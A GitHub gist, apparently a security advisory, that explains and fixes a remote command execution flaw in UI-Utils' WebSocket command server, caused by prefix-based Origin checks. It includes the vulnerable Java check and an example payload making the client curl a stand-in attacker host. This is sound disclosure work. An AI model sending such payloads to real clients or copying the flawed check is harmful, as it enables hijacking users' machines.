Skip to content

Instantly share code, notes, and snippets.

@iamnotpayingforyourpatreon
Last active December 24, 2025 11:13
Show Gist options
  • Select an option

  • Save iamnotpayingforyourpatreon/66d13bad0cf0e1ceeae7255e7fb72d94 to your computer and use it in GitHub Desktop.

Select an option

Save iamnotpayingforyourpatreon/66d13bad0cf0e1ceeae7255e7fb72d94 to your computer and use it in GitHub Desktop.

UI-Utils WebSocket RCE: Root Cause and Fix

Summary

  • Impact: Remote command execution via the in-game WebSocket command server from a malicious website.
  • Root cause: Origin validation used startsWith, so any origin prefixed with an allowed domain (e.g., https://ui-utils.com.attacker.tld) was treated as trusted. Browsers enforce Origin, so a hostile page could supply that value and get authorized.
  • Fix: Require exact origin equality (origin::equals) in both WebSocket entry points. This blocks prefix-based spoofing while keeping the allowlist intact.

How the attack worked

  1. The WebSocket command server authorizes a connection solely by comparing the request Origin header against an allowlist. Before the fix it accepted any origin that started with an allowed value.
    // vulnerable (before)
    if (ALLOWED_ORIGINS.stream().anyMatch(origin::startsWith)) {
        // mark as authorized
    }
    The same pattern existed in the p.IIC discovery server:
    if (allowedOrigins.stream().anyMatch(origin::startsWith)) { /* authorized */ }
  2. An attacker hosts a page at https://ui-utils.com.attacker.tld (or any prefix/port/path like https://mrbreaknfix.com:4443). Browsers automatically send Origin: https://ui-utils.com.attacker.tld with the WebSocket upgrade.
  3. Because origin.startsWith("https://ui-utils.com") returns true, the server marks the connection as authorized and sends a welcome message.
  4. Once authorized, the page can invoke any registered command over WebSocket:
    {"cmd": "curl https://evil.tld/payload"}
    The curl command is exposed via CommandSystem.registerCommand("curl", new CurlCommand());, so the attacker can make the client fetch and process arbitrary payloads. Other commands (screen, click, inventory, etc.) are also reachable, enabling broad remote control.

The fix

  • Both WebSocket servers now require an exact match, eliminating prefix-based spoofing:
    // fixed
    if (ALLOWED_ORIGINS.stream().anyMatch(origin::equals)) {
        // authorized
    }
    And in the p.IIC server:
    if (allowedOrigins.stream().anyMatch(origin::equals)) { /* authorized */ }
  • Dev mode still whitelists localhost variants explicitly; production remains restricted to the listed domains.

Why exact match matters

  • Browsers enforce Origin; sites cannot set it arbitrarily.
  • With startsWith, any subdomain/port/path prefixed by a trusted domain bypassed checks. With equals, the attacker must control the exact allowed origin, which is a fundamentally higher bar (requires compromise of the trusted domain itself, not just lookalike hosting).

Remaining considerations / hardening options

  • who the hell uses startswith in 2025
  • use a built in auth token per session bro
  • who the hell allows the whole curl command over websockets
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment